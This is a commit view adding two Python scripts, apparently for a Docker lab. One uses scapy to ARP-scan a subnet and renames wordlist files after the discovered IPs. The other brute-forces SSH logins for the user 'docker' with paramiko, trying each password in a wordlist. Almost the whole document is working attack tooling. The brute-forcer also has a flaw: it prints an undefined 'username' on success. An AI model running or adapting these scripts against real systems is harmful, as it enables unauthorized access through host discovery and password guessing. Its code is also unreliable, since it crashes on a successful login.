thaleia-kavalierou
4 years ago
2 changed files with 73 additions and 0 deletions
@ -0,0 +1,37 @@ |
|||
from scapy.all import * |
|||
import optparse |
|||
import os |
|||
|
|||
|
|||
ip_list = [] |
|||
|
|||
def scan(): |
|||
arp_request = ARP(pdst=ip) |
|||
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff") |
|||
arp_request_broadcast = broadcast/arp_request |
|||
answered_list = srp(arp_request_broadcast, timeout=1)[0] |
|||
for element in answered_list: |
|||
ip_list.append(element[1].psrc) |
|||
for element in ip_list: |
|||
print(element) |
|||
|
|||
def rename(): |
|||
ip_list.remove("172.19.0.1") |
|||
ip_list.remove("172.19.0.5") |
|||
for target_ip, filename in zip(ip_list,os.listdir("/project/wordlists")): |
|||
dst = target_ip |
|||
src = "/project/wordlists/" + filename |
|||
dst = "/project/wordlists/" + dst |
|||
print("Renaming file " + src + "to " + dst) |
|||
os.rename(src,dst) |
|||
|
|||
|
|||
parser = optparse.OptionParser() |
|||
|
|||
parser.add_option("-t","--target",dest="ip",help="set target's ip") |
|||
(options,arguments) = parser.parse_args() |
|||
|
|||
ip = options.ip |
|||
|
|||
scan() |
|||
rename() |
@ -0,0 +1,36 @@ |
|||
import paramiko |
|||
import os,sys,time,optparse |
|||
|
|||
def brute_ssh(): |
|||
ssh = paramiko.SSHClient() |
|||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) |
|||
#checking the path |
|||
if os.path.exists(file_path) == False: |
|||
print("\n[-] Error: File not found") |
|||
sys.exit(2) |
|||
else: |
|||
file = open(file_path) |
|||
for line in file.readlines(): |
|||
splitted = line.split() |
|||
password = splitted[0] |
|||
print(splitted) |
|||
response = 0 |
|||
try: |
|||
ssh.connect(target_ip, port=22, username="docker", password=password) |
|||
except paramiko.AuthenticationException: |
|||
response=1 |
|||
time.sleep(10) |
|||
if response == 0: |
|||
print("\n[+] Gotcha!!! Username: " + username + " Password: " + password) |
|||
ssh.close() |
|||
file.close() |
|||
|
|||
parser = optparse.OptionParser() |
|||
|
|||
parser.add_option("-t","--target",dest="target_ip", help="set target's IP") |
|||
parser.add_option("-f","--file", dest="file_path", help="set a file as input") |
|||
|
|||
(options,arguments) = parser.parse_args() |
|||
target_ip = options.target_ip |
|||
file_path = options.file_path |
|||
brute_ssh() |
Loading…
Reference in new issue